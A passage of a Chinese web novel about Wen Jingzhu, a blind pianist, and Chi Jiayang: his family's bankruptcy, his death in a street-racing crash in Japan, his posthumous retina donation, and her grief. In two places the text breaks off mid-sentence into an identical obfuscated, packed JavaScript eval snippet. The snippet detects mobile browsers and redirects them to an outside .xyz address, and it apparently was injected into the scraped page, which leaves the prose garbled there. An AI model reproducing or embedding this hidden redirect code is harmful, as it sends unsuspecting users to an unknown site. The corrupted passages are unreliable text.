锅底下烧柴火的空间和迟嘉洋与温惊竹此时所坐的炕下面连通,所以他们俩感觉屁股底下热乎乎,迟嘉洋还把挨墙最近的位置让给温惊竹,温惊竹都没好意思说自己被烫得屁股疼,额角渗出一层细密的汗珠。 迟嘉洋的奶奶在和面,爸爸在擀皮,迟嘉洋在包饺子,看着身旁温惊竹在尝试的样子忍俊不禁。 这次从日本回来后,温惊竹感觉他长大了。 成熟了些,稳重了些,说话都不急不徐的,不再是一身刺,一碰就炸,也不再一会儿跳脚要去面剧,一会儿又要干这干那的,干不成便一肚子火。 因为迟父迟母已经在这个活像四合院的村中院落里生活了近半年。 因为就连他们的那套海边别墅也被拿去变卖抵款了。 自搬家那天起,迟父迟母说话的声音就像老了十岁,慢了一倍速,有气无力的。虽然平常依旧奔忙,可生活状况不能说好转就好转。 如果说,曾经的家财万贯是可以使他们年轻十岁的魔法,那么现在这层魔法效果消失了。 温惊竹这几年赚的钱都在迟母那儿,这次家里出了事,除了铃铛的日常工资,铃铛又留了一部分钱给她在海县租了套小房子,温惊竹平常也住在那儿,她的钢琴被搬过去,铃铛将屋子重新布景,继续运营账号,多余的钱依旧给迟母。 迟家没变卖的东西除了搬到这院里的生活用品,就是迟嘉洋的车和温惊竹的钢琴了。 但说起来这座宅邸还算不错,是曾经迟家很富裕时,迟父给迟嘉洋爷爷奶奶重新修建的,所以迟父迟母也不急着租房子在市里住,都先在这落了脚。到了眼下过年的时候,将迟嘉洋姥姥接过来,一家人拥拥挤挤还挺有热热闹闹过日子的烟火气。 迟嘉洋教温惊竹包饺子,难免要碰到她手,但两人现在都十分心平气和了。 放在温惊竹手边的饺子皮都是已经被放上馅的,她摸起一片,按照迟嘉洋方才教的手法捏合起来,捏的时候眉头不自觉皱起,总觉得不得要领,问身边迟嘉洋:“你是在看着我憋笑么?” “哦没有没有。”迟嘉洋连连否认,继续包他自己的,“我怎么敢?” 温惊竹笑了。 外面电视传来春晚的声音,迟嘉乐自己坐在电视前看,嗑瓜子可以,偶尔去抓零食就会被他老妈毫不客气地斥责。 村里有人在放鞭炮,和烟花不一样,点燃火信后是那种爆炸似的噼里啪啦的巨大的响。温惊竹听觉敏感,她每次都会被这粗暴的声音给吓一跳。 不过迟嘉洋没非要拉着她去海边放烟花了,他这次回来后几乎就待在这宅院里,哪儿也没去,谁也没见。他甚至还会帮着家里端盘子,洗碗时他奶奶硬是没要他插手。 这样太过烟火气的生活让温惊竹分不清今夕是何夕。 锅碗瓢盆都收拾完了,大人们去另一间屋里打麻将,迟嘉乐趁没人管在电视前打《王者荣耀》,麻将的“哗啦哗啦”声、游戏里机器女声的播报声、电视里热闹的锣鼓音乐一并传进屋里,迟嘉洋和温惊竹躺在尚有余温的炕上,被那股暖意给烘得困意眠眠的。 迟嘉洋在刷抖音,温惊竹在闭眼假寐。 这样的感觉真让她有种时光倒退了十五年的错觉。 她心里想着很多事,翻了个身,问迟嘉洋:“你在日本过得还好吗?” “嗯?” “你是什么时候知道,家里房子被卖了的?”她想了个婉转的说法。 23. 风里风 “哦,元旦吧。”他暂停了抖音,上面正在讲解一部电影,他挺认真地和温惊竹说话,“你问我在日本过得好不好?托你的福,挺好。” “什么意思?”温惊竹也是一副很认真的神情,除了她的双眼空朦,传递不出那份认真。 “因为……我会自己打工啊。前年,你忘了吗?我平均一个月回来一次,为了看你,你也不想想来回一趟的机票多少钱?都是我自己做兼职攒的。不过我发现在日本还挺好赚钱的,虽然不再需要拼命打工攒钱买机票,但尝到好处了,又和朋友一起当二道贩子转卖了点东西,赚了不少,还在日本捡漏买了座很小的公寓……要是知道家里出了事,我就不买了,现在手头又是没什么钱,都花在那公寓上,等我毕业就卖了补贴家里吧,也快了,以后不乱花钱了。” “嗯。” “你这样说话,我都觉得有点不认识你了。”温惊竹笑。 “别,我在外面还是那德性。” “什么德性?”她倒是挺感兴趣,并不太在意过去的那些是是非非了。 “就……我在日本还是有很多狐朋狗友。”他说,“你也知道,我不是上学的料,什么都马马虎虎,日语还是去日本后到语言学校现学的。在那儿也认识了不少人,每天就想着怎么搞点钱,怎么玩,怎么你觉得我变了吗?” 他笑起来,温惊竹也跟着笑:“那可能没有吧。” “只是你现在很乖。”她说。 “乖?” 迟嘉洋重复这个字,怎么联系到自己身上怎么违和:“你是在拿我当狗驯吗?” 温惊竹笑出了声。 “我也是没有办法啊。”他很是怅惘,换了个正躺的姿势,似乎在对着天花板感慨,“家里发生这样的事,我哪还有在海县见人的心思?但在日本没有人知道我是谁,也没人知道我家破产,可家里变成这个样,我再在外面潇洒似乎也没什么心情了,只能继续打工赚些钱,看看回来后有没有什么法子改善吧。” 他真变得让温惊竹有些不认识了。 她想了想,安慰:“不要考虑这么多,你能自己赚钱在日本买个小公寓就已经很厉害了。只要你过得好,叔叔阿姨肯定会欣慰,不枉当初把你送出国。等你回国后再帮叔叔阿姨忙,说不定生活很快就恢复原样了,人生怎么会一直顺利呢?有点起起落落在所难免的。” 迟嘉洋好笑:“你挺会安慰人,说起话来一套一套的。” “……” 他又侧向她:“那你是什么时候知道我家开始出现困难的?” 她又回想了一下:“前年的年末。” “噢——所以你才拒绝我的表白。” 温惊竹打他一下:“滚。” 因为不习惯说这么粗鲁的话,还是很小声很小声的。 她继续以这样的音量说:“不是那么简单的原因。” “好吧,所以你们都知道家里出了点问题,只有我在胡闹。” “没关系的,都过去了。” 她仍旧一本正经地安慰,他却开始跑火车:“欸,那你说,我妈当时非要给我介绍我干爸干妈家的女儿,是不是别有用心?他们家可有钱了,比我们家还要有钱得多,我俩要真成了她家说不定能帮上忙。” “不会吧。就算没有成,叔叔阿姨和他们家关系那么好,他们家要是能帮上忙还是会帮的吧?” “不一样,那太不一样了。小竹子,这种事你不懂,虽然也会帮,但不一样。” “噢……” “别想了,我就是随便一说。” 静默一会儿,迟嘉洋也没继续看手机。 “小竹子,我们明天去看电影吧?” “嗯?可以呀。” “有什么好看的电影?”她问。 “春节档的电影可是一向会打得很火热的哦。”他划着手机,可是新上映的电影他都没有想看的,一一和温惊竹说过,温惊竹也不大感兴趣,倒是有电影院在重映《大话西游之大圣娶亲》,“小竹子,这个倒是很好看,也特别有名,不知道你听说过没?” 虽然情节都已经记不清,但这种经典老电影就是有它独特的魅力,饶是温惊竹这样几乎不看电影的也对它有所听说:“那就看这个吧。” “好,我订票,明天只有晚上的场,也合适,白天估计要在家里帮帮忙。”县城电影院除非很火的电影,排片都非常有限,“小竹子,我觉得我们真像生活在这个世界之外的人,住在这个小村庄里,连进城看电影看的都不是春节档上映的新电影。” “暂时是这样。” 也挺有趣的。 去看电影的时候,迟嘉洋没有开他的车。但温惊竹能感觉到他在他车前踌躇了许久。这样一辆外形帅气的黑色小轿跑停在这样一座看起来挺气派的院子前,仿佛迟家还处于出手豪横的鼎盛时期。 最后迟嘉洋开了他爷爷的老头乐。 他之前开野马时最烦老头乐了,因为它们在路上突然拐弯根本不看后视镜,而他又是个喜欢在路上油门踩到底的主,温惊竹在副驾驶位上总能听到他喋喋不休的抱怨:这些车就不该上路,只是这破地方没人查罢了,真该好好管管他们! 有时候他情绪暴躁到一定程度,超那些车时会故意和它们贴很近,温惊竹都能感受到他车身骤然横移的晃动,然后他降下她这边车窗,隔着她冲外面开老头乐的老头大吼:“不要命了啊老登!” 曾经的迟大少爷就是这么飞扬跋扈。 如今他却开着老头乐带温惊竹进市区,两人乐了一路。 这东西摇摇晃晃,整个车身都很轻,车内空间还很有限,温惊竹感觉自己就是被一个巨大的硬塑料壳子给包起来在路上跑。迟嘉洋还想研究一下怎么放蓝牙音乐,最后没找到,放弃了,干脆直接用他的手机放小霞的《我的美丽》:“指——尖,旋——转,萦——绕,耳——边。” “心——跳,疯——狂,留——恋——我的美丽。” “你别说,这东西还挺好玩的。”到了目的地后,他评价道。 温惊竹点头如小鸡啄米。 迟嘉洋不想开他自己的车,或许是因为不愿碰见熟人,毕竟这海县太小了,他那辆车在这不大的市中心驶过是何等显眼。以前他路过哪儿还会接到个电话:“迟大少爷,又出来耍了啊?我刚刚都看见你车经过菜市场了……” 现在来的还是当年的那家电影院。 时间在海县这些已然破旧的事物上流逝过,仿佛再留不下任何痕迹,因为它们都已经被腐蚀得伤痕累累了。 进了依然空空荡荡、冷湿的放映厅,前几排传来一点絮絮的说话声,温惊竹判断这厅里除她和迟嘉洋外就前面的那一对情侣了,这也是在海县看不那么火爆的片子的常态。 这样对话很多的电影正合温惊竹心意,遇到一些需要看画面才能判断出的情节,迟嘉洋会给她讲解。 这让温惊竹想起三年半前和他第一次,也是她这辈子第一次看电影,相比现在,那会儿的迟嘉洋更像是个毛头小子,一开始兴冲冲地给她描述电影的场景,连同第一个出场的女人穿的裙子和鞋子什么样都要说那么细致,导致他很快就口干舌燥偃旗息鼓了…… 想到这儿,温惊竹不自禁流露出微笑,但又随着电影剧情的展开伤感起来。 至尊宝说出了那段非常经典的话:“曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588711|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经有一份真诚的爱情放在我面前,我没有珍惜,等我失去的时候我才后悔莫及,人世间最痛苦的事莫过于此,如果上天能够给我一个再来一次的机会,我会对那个女孩子说三个字:我爱你……” 温惊竹攥着衣服边的手蓦地收紧。 和迟嘉洋看的第一部电影不是这种爱情题材,这么煽情,现在和迟嘉洋坐在一起她竟有些尴尬。 后来至尊宝又将这段台词重复一遍,和之前那遍已然是完全不同的含义了,回想他这一路与紫霞的爱恨纠葛,温惊竹竟代入了这份伤感,眼睛湿湿的。 回去后已经很晚,村子里黑漆漆,温惊竹呼吸着荒郊野岭里那种苍凉的、满含泥土与植物气息的空气。她和迟嘉洋仿佛又从嘈杂的世界里退了出来,回避到这无人问津的一隅。 第二天她得回市里录视频,迟嘉洋才知道她在市里租了个小房子住,要和她一起去看看,她当然同意。 于是迟嘉洋又兴冲冲地开着那辆老头乐送她去,陪她在那小房子待了一天。她问:“你在日本的房子有没有这个大?” 虽然海县的房租特别便宜,一千块钱一个月就能租到一套挺大的房子,但温惊竹看不见,一个人住那么大的房子没有用,也不方便,便挨着铃铛住处租了套80平的,也方便铃铛进行装潢改造。 她早已给铃铛涨到很高的工资,铃铛除了给她运营账号也算是她的生活助理,事无巨细。 迟嘉洋笑:“我在日本买的那房子可比这个小多了,就是个勉强的容身之所,实在是不习惯和别人一起住宿舍,也不愿租房子,觉得有负担。” 嗯,果然是大少爷的习性。 “哟,迟大少爷这么厉害,都已经自己在日本买房子了?”铃铛说。 她还是叫着这称呼,否则突然改了也挺奇怪的。 “不不不,”迟嘉洋和她说话也平心静气的了,“就是和朋友一起倒卖点东西,没想到阴差阳错地赚了笔钱,又捡了个大漏,才买到的,要不是不知道家里有点变故我也不买那房子了……” 后面声音低下去,铃铛脆生生地笑,那笑声倒真像被摇晃起来的铃铛:“那也很厉害了呀!” 她心里清楚,那个IP为日本的抖音账号还是数年如一日地在温惊竹抖音账号评论区“舌战群儒”,打压所有对她不好的评论。随着一年年历练,那功力简直炉火纯青,不带脏字却攻击力爆表了。 只是从温惊竹住处回到村里后,迟嘉洋有点怪怪的,话少了很多。 可能是因为他又要离开海县回日本了。 尽管已经和温惊竹“冰释前嫌”,但知道了家里的情况,他不能再任性妄为、一趟一趟地浪费钱买机票往回跑。 1月31日,迟嘉洋动身回日本的前一天晚上,行李都收拾好了,可笼罩在他身上的那层阴霾更甚,他仍旧沉默寡言。 他和温惊竹住在小院里两间挨着的客房中,吃过晚饭,他叩响温惊竹的房门,说想出去散散步。 温惊竹知道他心情不好,和他一起裹上厚厚的羽绒服,穿上之后活像个大面包的那种,下面长到膝盖。而后将羽绒服帽子一扣,两侧抽绳狠狠一拉,拉到最紧,再缠上几圈围巾,最后只露出一双眼睛,就一点不怕这北方冬日的严寒,温惊竹的围巾还是迟嘉洋奶奶给织的。 只是温惊竹没有想到,迟嘉洋会将手伸进她羽绒服衣袖,直接拉住她手。 她整个人懵在那儿,一双本就看不见的眼睛定定的。 “走了走了。” 迟嘉洋没甚所谓地说,晃了晃手,温惊竹被他牵着的那条手臂便跟着晃两下,配上她那副呆呆的模样真有点滑稽,迟嘉洋笑着带她出门了。 24. 风里风 村里都是水泥铺的路,路面上还有层薄薄的雪碴子,不知道是之前下的雪没清扫干净,还是这几天湿气太重冻在了路面上,踩在鞋底下“咔嚓咔嚓”地响,硌得慌,还有点滑,温惊竹不得不有些紧地反握住迟嘉洋手,这下两人的牵手便有了顺理成章的理由。 实际迟嘉洋也不知道去哪儿,只是临行前待在那院子里实在闷,闷得快要窒息了,一口气都喘不上。 和温惊竹出来后,隔围巾呼吸着外面生冷的空气,这样的空气在围巾无数细小的缝隙中穿梭着,被吸进来,被呼出去,围巾便有点湿湿的,他才好受许多。沿这条小路一直走,路过了一条被冻住的小溪。 “还记不记得之前带你去抓小龙虾?”他看过去,“这村里也有一条小溪欸,只是被冻住了,我们过去看看?” “啊……” “放心,没有牛粪。”他一语中的,“这里没有牛。” “没想到你还记得这个。”温惊竹笑。 走下坚硬的水泥路,又踩到柔软的草地上,当初的心理阴影还在,温惊竹每一步还是发怵。 迟嘉洋一边牵着她走一边说:“我还知道好多呢。只是没想到你对抓小龙虾那么抵触,我们抓黄鳝的时候你肯定也在桥上等得很无聊吧?不知道怎么了,那会儿就是上瘾了,我每天都想抓小龙虾。我好像就是会在某段时间对某样东西特别沉迷,但过了那一阵就好了。我之前是不是总是不太顾得上你?还有很多其他事……是不是?” “啊?” 怎么忽然就提起从前了,还说得这么详细?温惊竹一时有些反应不过来。 迟嘉洋带她在溪边的一片干草垛上坐下,倒很舒服,只是听不见面前溪水流淌的声音,也没有夏日的那么多虫鸣。那会儿的虫鸣此起彼伏的,以很高的重合度响在一起,甚至到了一种恼人的程度,现在没有这样的声音了,反而有些怀念,只有风穿过层林的沙沙声,到底不如夏季那么有生命力。 温惊竹和迟嘉洋并排坐着,却因为厚厚的羽绒服而隔开段距离,活像两只挨在一块儿的胖企鹅。 不知道迟嘉洋为什么突然纠结起之前的事,温惊竹总把那些事在心里一遍一遍地磨,如今都差不多放下了,没什么实感了,只是在抚过那些往事时难免会碰到自己愈合好伤口后的疤,坑坑洼洼的。 迟嘉洋继续问:“小竹子,我是个很坏很坏的人吧?” “为什么突然说这些?” “不知道……”他声音变有些虚,“可能人在这种时候就喜欢想些以前的事吧。” “那我没有觉得你很不好……”她说了违心的话,因为并不想计较那些疙疙瘩瘩,在整个迟家与迟嘉洋本人都很失意落寞的时候,她希望他能开心点儿就好,并且她觉得现在的他也和以前不太一样。 迟嘉洋笑了笑。 她这话显然没有说服力。 “真的。”她反而认真起来,也跟着回想,“你想想,你第一次带我去面剧的时候怎么说的?我17年里几乎没怎么出过门,你都还不太相信,然后你带我去了很多地方,我现在都记得清清楚楚,虽然我在烟城长大,可我都没有去过那条有古代建筑的小吃街,更别说酒吧……” 神思又飞回到几年前,虽然她看不见天空,可是她仰起脸朝着天幕,露出很幸福的笑容:“你多好啊,我什么都看不见,你还愿意带我去很多地方。” “那不够……” 至少不够让他成为她最依赖最重要的人。 那种可以被称为“恋人”的人。 那时候他的确嚣张跋扈,很多人和事都不放在眼里,更别说温惊竹了。 他根本就不会去考虑她的感受,把她带在身边更像是一时兴起,偶尔是认为她像个漂亮玩具可以带出去炫耀一番,偶尔是觉得有个陪伴,但往往因为把她带在身边的种种不方便,他就烦了。 温惊竹继续说自己的:“其实去过那么多地方,很奇怪,可能因为我们今天坐在这个村子里偏僻没人的地方,四周都空荡荡的,我现在印象最深刻的竟然是你带我去钓鱼。那个时候也是,风毫无遮拦地往身上撞,和在市里有建筑的地方的风不一样。你钓了一通宵,也是这样的夜,只是是夏天,我真觉得无聊极了,也困得要死,可满脑子都是你说的天上亮闪闪的北极星和金色的鱼,我后来经常做这样的梦……” “是吗?我那时和你说我钓上了一条金色的鱼吗?”迟嘉洋看着她笑。 她还是仰面朝天的样子,只是眼里亮亮的,看得迟嘉洋笑意停住,有些愣。 那样的亮光,应该是被月光照的。 今天的夜空万里无云,天气很好。 他忽然想,如果温惊竹能看见该多么好。 其实她当初拒绝自己提议的接受视网膜手术,实际是对自己失望至极吧。 “是啊。”温惊竹继续徜徉在自己的回忆里。 那时在去钓鱼的路上,她就听迟嘉洋说:这片水库里或许能钓出金色的鱼。那段时间她每天都期待和他出去玩,只是他不爱带她玩了,暑假也快到了,孟皓琦也快回来了,于是她很稚气地在心里许愿:上天啊,如果她能和迟嘉洋有个好结果,就让迟嘉洋今晚钓上一条金色的鱼吧。 “但是那条鱼不是金色的啊,小竹子!”迟嘉洋笑得前仰后合,挽住她被羽绒服包裹起来的手臂,“是我骗你的,小竹子!因为我看你都要睡过去了,我是想让你开心点。” “其实那只是一条银灰色的丑丑的小鱼罢了,后来我又把它扔回了水库里。” “对了小竹子,这次我回日本,你可以送我去机场了吧?” 温惊竹沉默了很久才点点头:“可以。” 她低回头,眼里没有方才的光亮了。 迟父迟母现在只有一辆很便宜的代步车,一辆不太大也没什么动力的SUV,和之前刘晓栋那辆差不多。 带上温惊竹一起,他们一同送迟嘉洋去青城坐飞机,一个半小时的路程。路上大家都没怎么说话,迟夫人也不再像以前那样滔滔不绝了,只有迟父放的老歌在呕呕呀呀唱着,从有些劣质的车载音响传出来。 到了机场安检口,温惊竹又是那样定定地站在那儿,看不到迟嘉洋离开,更感受不到他的任何。 他最后说:“妈,把我的那辆野马卖了吧。” —【第五年 3月21日不见】— 温惊竹是在电话里得知迟嘉洋去世的消息的。 那时她和铃铛在一起,手机响了,铃铛看了眼:“是迟夫人。”温惊竹点点头,铃铛于是接通电话,将手机递给她。 “喂?惊竹?”迟夫人声音更老了十岁,“和你说一件事,但是你得做好心理准备。” 冥冥中已经料到和迟嘉洋有关:“好。” 只是没想到是噩耗。 “迟嘉洋在日本出车祸了,是他自己和朋友在晚上飙车。”那边的声音徐徐飘过来,这时温惊竹还抱着什么希望,或许是受伤了,残废了,可电话里说:“抢救了不到一天,还是不行。” “他走了,我和叔叔现在在日本,会把他的遗体带回来,没敢事先告诉你,也没想到会告诉你这样的消息。” 温惊竹两步走到窗边,将窗户完全敞开,上半身全探出去,好像不急剧地大口地呼吸着外面的空气就会在下一秒憋死。 铃铛受到惊吓,冲到她身边,但温惊竹只是定定地保持着这样怪异的姿势而已,她那双看不见的眼睛又在这种姿势下没有聚焦,很可怕。 楼下的车乱七八糟地穿行,各种价格不高又有些剐蹭痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588712|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹的小轿车,摇摇晃晃就是骑不成直线的小电动,横冲直撞的三轮,不断吆喝的商贩,都在这条并不宽敞的街道上各显神通。这座迟嘉洋从小长大的城市仍旧维持着它糟乱又匆忙的日常,温惊竹才迟疑地发出一声:“嗯……” “对了,迟嘉洋他,”迟夫人终于哽住,吐字越发艰难,“他昨晚短暂地清醒了一会儿,和我们说了些话,并且说要把视网膜捐赠给你,这也是他的遗愿。协议已经签好,我和叔叔正在和医院交涉这件事,惊竹,你的钱都在阿姨这儿,阿姨动了些,但也留了些,不够的部分会去借,等这事有结果后和你说吧,时刻保持手机畅通。” 温惊竹说不出什么,迟夫人声音又传来:“听到了吧?惊竹,我要挂了,坚强点,铃铛现在在不在你身边?” “在。” 她特别特别勉强地挤出这个字。 迟夫人挂断了,温惊竹一时脱力,铃铛眼疾手快地将她一把扶住:“到底怎么了?” —【第五年 4月14日新世界】— 这是温惊竹能看见这个世界的第七天。 她半躺在烟城医院的病房里,用一个月时间接受了迟嘉洋的永远离开,又用一个周时间适应了新世界,只是她看见什么事物都感到特别惶恐。 她要将每一样实体和曾经脑中的概念、她的嗅觉与触觉相匹配,又知道这个世界上再也没有迟嘉洋了,唯独他她无法同实物相对应,但是她每天脑子里都是他的声音:小竹子,这里是医院,你看这里全都是白色是不是也挺无聊的……还全是消毒水的气味。 外面是陌生的一切,内里是莫大的悲伤。 她明天就要出院了,迟母刚来看过她一趟,才离开,给她带了很多水果,又提前将一些需要带回海县的东西给拿回去。 如今她和迟父重新做起生意,规模不大,也没雇人,所以店离不开他们,明天就由她去看店,迟父来接温惊竹和铃铛回去,温惊竹这双眼睛还需要用几个月药、定期复查,确切来说这是迟嘉洋的眼睛。 她以前总觉得他恶劣,现在似乎也是,要不然他怎么会在日本和朋友们飙车然后出事呢? 她总是很恨他这一点,可他竟然在昏迷的短暂的清醒中说要把视网膜捐给她。 宁静的下午,依旧无言,窗外却有一阵阵鸟鸣,医院这周围格外安静,唯一的嘈杂便是来自于前来探望的家属。 铃铛在她的床边削苹果,忽然说:“惊竹,我觉得有一件事我必须告诉你。” 温惊竹没吱声,她继续说:“今年过年那会儿,迟嘉洋不是去了一趟你住的地方吗?那时候你随手把记事本放在客厅的躺椅边,他直接解开锁看了。” 温惊竹瞳孔猛地缩紧:“怎么解开的?” “直接输了密码解开的。” “输了一次就解开了?” “对,就想了一下,然后输了一次就解开了。”铃铛手上的动作停了会儿,也不知道该不该问,“所以密码不会是你的生日吧?”她笑。 “是他的生日。” 铃铛嘴张成了“o”。 她还不习惯温惊竹能够看见,所以完全不掩饰自己的表情和动作,意识到这点后,她马上正经脸,低头若无其事地继续削苹果:“其实,其实……我肯定没看过你记事本的,但我能隐约猜到里面的内容是什么。那会儿迟嘉洋直接拿起来,像是想尝试一下,我没有管,因为我觉得随便他摆弄吧,反正他也不知道密码是什么,结果他一下子就打开了……他看着我,比了个‘嘘’,我惊讶得说不出话。” “我就想,我就想……” “或许应该让他知道你的秘密吧。” “我现在就是想告诉你……他知道的。” 在离开这个世界之前,他知道的。 25. 风里风 “噢。” 温惊竹侧过头,压抑不住源源不断的泪水顺面庞往下流。但她固执地睁着眼,看着另一面雪白的墙,任由这些眼泪打湿枕头,一如之前很多个被困在回忆里的夜晚一样。 日记本的密码四位数,大多数人的习惯都是设置成某个日期。 把它设置成迟嘉洋生日是她自以为是的小聪明,她也知道如果设置成自己的生日会有太多人猜到,连铃铛都这么猜。所以她当时想,正好里面的回忆都是关于迟嘉洋的,那么守住这个秘密的重任就交还给他吧。 他或许是抱着开玩笑的心思拨转着那些旋钮,拨出他的生日,然后微不可察的“咔哒”一声响,她的心事便在他面前展露无遗了。 铃铛以为里面都是少女的告白。 当然有,甚至每一个细节都清清楚楚:比如第一次去面剧的时候,她后退一步,迟嘉洋一拳抵在了她的腰后,她心里很诧异,心想怎么可以突然和一个男生有这样的接触。 不仅是一个小小的动作,她几乎记下了那段时间里迟嘉洋和她说的每一句话,迟嘉洋看后一定会惊异于她怎么对每一个细节都这么耿耿于怀吧? 可还有很多他根本不上心的事,甚至是他不知道的事,比如他根本忘了,第一次去斑马,他叫来的那个女生让温惊竹摸他的脸,然后她自己也在笑嘻嘻地摸着另一边……这种乱七八糟的事谁会记得啊?比如他也不知道,在和孟皓琦一起去啤酒节的那天,他们抛下温惊竹去看烟花,温惊竹竟然被一个毫不相干的男人骂:婊子。 于是他明白了,温惊竹哪怕再怎样喜欢自己,这些事都是狠狠扎在她心里的刺,拔出来也会留下个血窟窿,愈合上也会留下道疤痕的。 而他这样的人,对于一个人的愧疚也仅限于一刹那,过去就过去了。 所以他喜欢温惊竹的那段时间里,他当然也清楚自己以前对她多么不上心,但他不明白为什么就是弥补不了过去的不快,让温惊竹放下。 看过日记后他明白了,因为一切在温惊竹的世界里都太深刻了,幸福的也是,痛苦的也是,和对他来说的都过去了是不一样的。 于是温惊竹想起来,在1月31日的夜晚,他们坐在被冰封的小溪边,迟嘉洋问她:小竹子,我是个很坏很坏的人吧? 她那些安慰根本就是骗他的同时也在骗自己,实际谁也没骗过去。 温惊竹缓和了些,铃铛很有眼力见地先将苹果切好,从小柜里取出一只碟子放进去,没打扰温惊竹留给她的背影。 又给自己削了只苹果,慢慢地啃完了,温惊竹才转回身,眼泪早已干为泪痕又被抹得一干二净的。 铃铛递给她用小碟子盛的苹果:“喏。” “谢谢。” 温惊竹吃着,铃铛说:“我傍晚打算出去一趟,买点东西带回海县,再带咱俩的晚饭回来,你有没有什么特别想吃的?” “肉,红烧肉。” “OK呀,哦对了,我还有一件事想告诉你。” 温惊竹看向她,她有些神秘地倾过身来,想:坏人当到底。也算是公平起见,她既然纵容了迟嘉洋偷窥温惊竹的秘密,就也要把迟嘉洋的秘密交代给温惊竹:“自打我运营抖音账号以来,三年了,每次发布视频时迟嘉洋都会第一时间来看,然后在评论区怼各种恶评……你想知道他的抖音号吗?” 温惊竹有点害怕。 她期待发现这个世界上关于迟嘉洋的更多痕迹,又恐惧它们。 因为它们都已经是很残忍的过去时了。 但答案是不加疑虑的:“好啊。” 铃铛随便点开一条之前的视频,在评论区翻了翻,翻到一条充满戾气的评论:【装瞎装成这样,也太把别人当傻子了吧?】,果然在回复中找到那个再熟悉不过的ID,迟嘉洋与该评论者大战了共18条,她给温惊竹看:“喏,就是这个。” 再点开主页,IP仍显示为:日本。 “很好找的,只要是今年三月及以前发布的视频,不好的评论下面必会有这个账号的回复……” 她声音稍稍低下去,温惊竹点了点头。 傍晚铃铛离开了,她拿起自己手机,找到那个【惊竹】的抖音账号——这账号都是铃铛在运营,她自己登录着一个小号。 根据铃铛的话,她翻到今年三月及以前的视频,随便点开一条。 【这钢琴水平也就这样。】 【不好意思噢,博主17岁时就钢琴十级了,请问您几级?】迟嘉洋的账号如是回复。 温惊竹没忍住笑了。 这欠欠的语气真和他本人一模一样。 【你是谁?】那人问。 【关你什么事?看不见博主主页简介上写的么?钢琴十级。】 【这是真瞎还是装瞎?】 【这种事没有人愿意开玩笑的哈。】 【哟,腿毛又来了。】 【啊对,啊对,啊对对对。】 …… 她又有很多关于迟嘉洋的痕迹可回味了。 可越往前翻,评论下面显示的日期就越旧,那是一个离现在更远一天的迟嘉洋所留下的痕迹。 他主页什么视频也没有。 她此后新发布的视频里争议依旧,却再也没有那个熟悉的ID为她大战三百回合了。 —【第五年 12月24日圣诞快乐】— 一个人的适应能力是很超乎自己想象的。 曾经一家人挥金如土,在这小小的县城里风光无限,如今迟父迟母也沉浸在起早贪黑经营小店的充实与忙碌中;温惊竹已经和正常人没什么区别,这半年来她去了很多地方,将曾经没有画面的记忆一一填补上。 平安夜,她在日本的千叶县船桥市,这是迟嘉洋大学生活的地方,与东京不到20公里距离,漂亮而热闹。 她站在那些颜色丰富、饱和度挺高、形形色色的广告牌前,看人群往来不息,真的是一座很富有生活气息的城市,竟能将流光溢彩与宁静安详结合得如此恰到好处。 她手里攥着迟嘉洋公寓的钥匙,手心里又渗出密密的汗。 找到地址,开了门。 第一次踏足这片私人领地,九个月的时间在这封闭的空间内几乎没留下任何痕迹,除了一层尘灰。 轻轻地将身后门关上,她一步,一步地走进,撞入她视线的每一样东西都像是这世界上绝顶的瑰宝,她舍不得看,因为看过了,这世界上就少了一样可以让她惊喜的东西,何况又是一下子看这么多,其实也不过是些再普通不过的物件:深蓝格子的窗帘,深灰色的床上四件套,随意扔在床上的几件卫衣,灰白花的地毯,垃圾桶里的包装纸…… 处处都是迟嘉洋身上的味道。 他这地方确实不大,走几步就到头了,那熟悉的味道便和这屋里独有的味道混合在一起,格外浓厚。 她通了通风,简单地打扫过卫生,至少将那些尘灰清除掉,打开冰箱前她做足了心理准备,幸而迟嘉洋这人是不可能自己做饭的,他冰箱里全是些饮料和速食,她把速食扔了,有的饮料甚至还没有过期。 深深的夜,她坐在他床边的桌前。 小心翼翼地打开抽屉,迟嘉洋的证件照就这么闯入她视线。 她又忍不住用他的眼睛落泪了。 一滴,一滴,滴在他曾经来来回回踩过的木质地板上。 她曾很多次想象,她得知迟嘉洋长什么样时是怎样的一番情景。迟嘉洋葬礼时她在做手术,后来她又觉得,可能会在他墓碑上看见,但他的墓碑上没有照片。 她也一直没有和迟父迟母要,总觉得冥冥中会有一天知道他模样的,或许不知道也没什么关系。 但在这抽屉里,他十分端正的证件照就这么突兀地进入她视线,眼里的模糊褪去,她低下头去认真端详:发型像美式前刺,双眉刀刻般标准,双眼皮很窄,一双眼睛有神又充满叛逆,鼻子略窄,双唇微抿。 她将照片小心翼翼地拿出来,又小心翼翼地碰了碰,忽然笑了,心里想:迟嘉洋,怪不得那么多女生都喜欢你。 看着就挺渣,是位不折不扣的少爷,和她想象中没太大差别。 她还记得她摸过这张脸的,很光滑,那时的触感记忆犹新。 她从行李箱中取出一架很小的玩具钢琴,静了静心,弹着《圣诞快乐,劳伦斯先生》。 弹着弹着,又静了,陷入沉思。 她又开始环视他房中的一个个物件,想象他在日本的生活是什么样的。他说他还是没有变,仍旧有很多朋友,看来事实差不多如此,要不然他怎么会去飙车,又出了事? 目光最后汇集在他桌角的黑胶唱片机上。 